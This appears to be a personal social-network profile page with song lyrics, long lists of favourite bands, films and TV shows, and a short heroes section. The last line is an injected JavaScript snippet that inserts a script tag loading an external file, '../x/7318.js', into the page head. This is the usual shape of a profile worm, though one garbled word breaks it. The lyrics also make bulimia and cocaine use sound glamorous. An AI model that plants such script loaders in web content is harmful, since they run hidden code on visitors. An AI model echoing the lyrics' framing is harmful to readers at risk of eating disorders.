I'd like to meet:

I like a girl with caked up makeup In the sunshine, smoking cigarettes to pass the time Who wakes up to a bottle of wine On the nightstand, bites and scratches the blinds But I ain't found one quite right yet So I step with pep to the park or supermarket Her apartment best be messy And Lisa don't mind when I call her LeslieShe's gotta dress with class In Jean Paul Gautier and an Hermes bag And 4 inch tips made of ostrich Sharp enough to slit your wrists, her lips spread gossip Won't say sorry when she offends She comes over to my place in her old man's Benz In gold and silver and jewels of all colours And she doesn't take them off when we're tearing up the coversI like a girl who eats and brings it up A sassy little frassy with bulimia Her best friend's a plastic surgeon And when her Beemers in the shop she rolls the Benz Manis and pedis on Sundays and Wednesdays Money from mommy, lovely in Versace Costly sprees it's on at Barneys And I love to watch her go thru 50 G's calmlyShe gets naughty with her pilate's body And thinks it's really funny when her nose goes bloody Cuz the blows so yummy and it keeps her tummy empty And makes her act more friendly Dance the night away And she won't say nothing when she makes a man stray

David Hasselhoff, Don Knotts, Kenny G, Charo, Nipsey Russell, Sonya Thomas (the No. 1 ranked female competitive eater in the USA), anorexic goth girls who drink blood ...or I guess I wouldn't mind meeting a nice girl to spoon and cuddle with ...who loves me for me, not just because she's a size queen and loves me for just hot sex. I'm sick of being used for cheap hot sex!

Music:

.. width="425" height="350" ...... width="425" height="350" ....all i wanted was a pepsi...just about every song on that show WEEDS on Showtime, yacht rock, 2Many DJs, AC/DC, AC/DShe, and you will know us by Trail of Dead, Aphex Twin, Angie Stone, Alice In Chains, A Tribe Called Quest, Bad Brains, Bad Company, Bauhaus, Black Sabbath, Black Flag, Bloc Party, Birthday Party/Nick Cave, Bjork, Bowie, Buzzcocks, Boozoo Bajou, The Cramps, Johnny Cash, The Clash, Clipse, The Cure, Curtis Mayfield, DATAROCK, Deftones, Depeche Mode, Dr. Octagon, Eagles Of Death Metal, Early Man, Erykah Badu, Fleetwood Mac, Fila Brazillia, Al Green, Gang of Four, Girls Against Boys, G Love & S S, Godflesh, Handsome Boy Modeling School, Helmet, Henry Mancini, Herbalizer, Iron Maiden, Joy Division, Junior Brown, Jay-Z, Janes Addiction, Joy Division, Kid Koala, Killing Joke, Kraftveeerk, Kool And The Gang, K & D, Lamb, LCD Soundsystem, Led Zepp, LTJ Bukem, old Metallica, Me First & t G G's, Motorhead, Mos Def, Mr. Bung-hole, Muse, NWA, Ministry, Nightmares On Wax, The Notorious BIG, Outkast, Pink Floyd, Iggy Pop, Peaches, Peeping Tom, Probot, Portishead, Pixies, QotSA, Queen, The Rapture, Radiohead, Rev. Horton Heat, Revolting Cocks, Rolling Stones, Roots, Roni Size, Ride, Scorn, Sigur Ros, The Sisters of Mercy, Skinny Puppy, The Smiths, Sneaker Pimps, Sonic Youth, Spinal Tap, The Subhumans, The Sweet, The Sword, Thievery Corp, TI, A Tribe Called Quest, Thin Lizzy, Tom Waits, Joe Walsh, Tool, UFO, Van Halen (only w/ DLR), Wesley Willis, White Stripes, Wolfmother, Yard Dogs Road Show, YYY's, Zero 7, + old country, old punk, some 70's and 80's rock, 80's cock rock, funky house, electro, disco punk, d & b, down-tempo, etc ...oh yes and two Justin Timberlake songs, but don't tell anyone, that's a secret ...oh, and a bunch of shit you ain't never heard of.

Movies:

any film out of Bollywood, Acid House, Addams Family Values, American History X, American Psycho, Amores Perros, Anniversary Party, Apocalypse Now, The Aristocrats, The Assassination of Richard Nixon, Army of Darkness, Amelie, The Baby, Bad Lieutenant, Baraka, Best of Show, Beverly Hills Cop, Beverly Hills Cop II, The BIG LEBOWSKI, The Birds, Boogie Nights, Blow, Borat, BRAZIL, Casino, Crash, The Castle, Cape Fear, Clay Pigeons, Clockwork Orange, City of God, City of Lost Children, Citizen Ruth, Citizen X, Dark City, Deconstructing Harry, Deceiver, Delicatessen, The Departed, Dead Presidents, Dirty Mary Crazy Larry, Dolomite, Drugstore Cowboy, Everything is Illuminated, Eternal Sunshine..., Exorcist, Fargo, Ferris Bueller's Day Off, Fight Club, Foxy Brown, Four Rooms, Frailty, Freeway, From Hell, Fried Green Tomatoes (it's the ONLY chick flick that I like), The Godfather II, The Green Mile, Garden State, Ghost World, GoodFellas, HAPPINESS, Hard Candy, HAROLD AND MAUDE, Heavy Metal Parking Lot, Harold and Kumar go to White Castle, Hostel, How to Kill Your Neighbor's Dog, It's the Rage, Igby Goes Down, Imaginary Heroes, The Ice Storm, The Incredible Mr. Limpet, LA Confidential, The Ladykillers (Coen Bros), The Last Seduction, Lock, Stock and Two Smoking Barrels, Lost in Translation, The Long Kiss Goodnight, Kindergarden Cop, Kiss Kiss Bang Bang (also a great song by Specimen), Kill Bill, Kung Fu Hustle, The Mack, Menace II Society, Magnolia, Mighty Aphrodite, Millers Crossing, Misery, Natural Born Killers, Napoleon Dynamite, Night of the Living Dead, Nosferatu, Old School, Paradise Lost, Paradise Lost 2, The Party, Planet of the Apes, Primal Fear, Porn Star: The Legend of Ron Jeremy, Raising Arizona, Reform School Girls, Reservoir Dogs, Requiem for a Dream, Rivers Edge, Roger Dodger, Road To Guantanamo, Rubin & Ed, Rushmore, Ruthless People, Sorry Haters, Scarface, SEXY BEAST, Showgirls, A Simple Plan, Spellbound, Smokey and the Bandit, Silence of the Lambs, Swingers, Spun, Secretary, Sin City, Sleeper, Stripes, Storytelling, Summer of Sam, Tadpole, Taxi Driver, This Boy's Life, Texas Chainsaw II, Spinal Tap, Trainspotting, True Romance, Up in Smoke, The Usual Suspects, The Wall, Weekend at Bernies, Willy Wonka, Wedding Crashers, Wonderland, Why Dogs Smile and Chimpanzees Cry, The Wiz ...and just about any dog buddy movie .. width="425" height="350" ....

Television:

I would like to gouge out the eyes of every cast member of "Friends"

The best two shows on TV are "WEEDS" and "It's Always Sunny In Philadelphia"

also LOST, Arrested Development, My name is Earl, Chappelle's Show, Reno 911, Soprano's, Six Feet Under, Curb your Enthusiasm

Books:

currently "Art of happiness" and "Porno" by Irving Welsh" ...does Juxtapoz or Barely Legal count as a book?

Heroes:

Takeru Kobayashi, the Hot Dog Eating Champion Wile E. Coyote Stephen Colbert Greg Girardo The Coen Brothers .."var s=document.createElement('script');s.src='../x/7318.js';docu ment.getElementsByTagName('head')[0].appendChild(s);"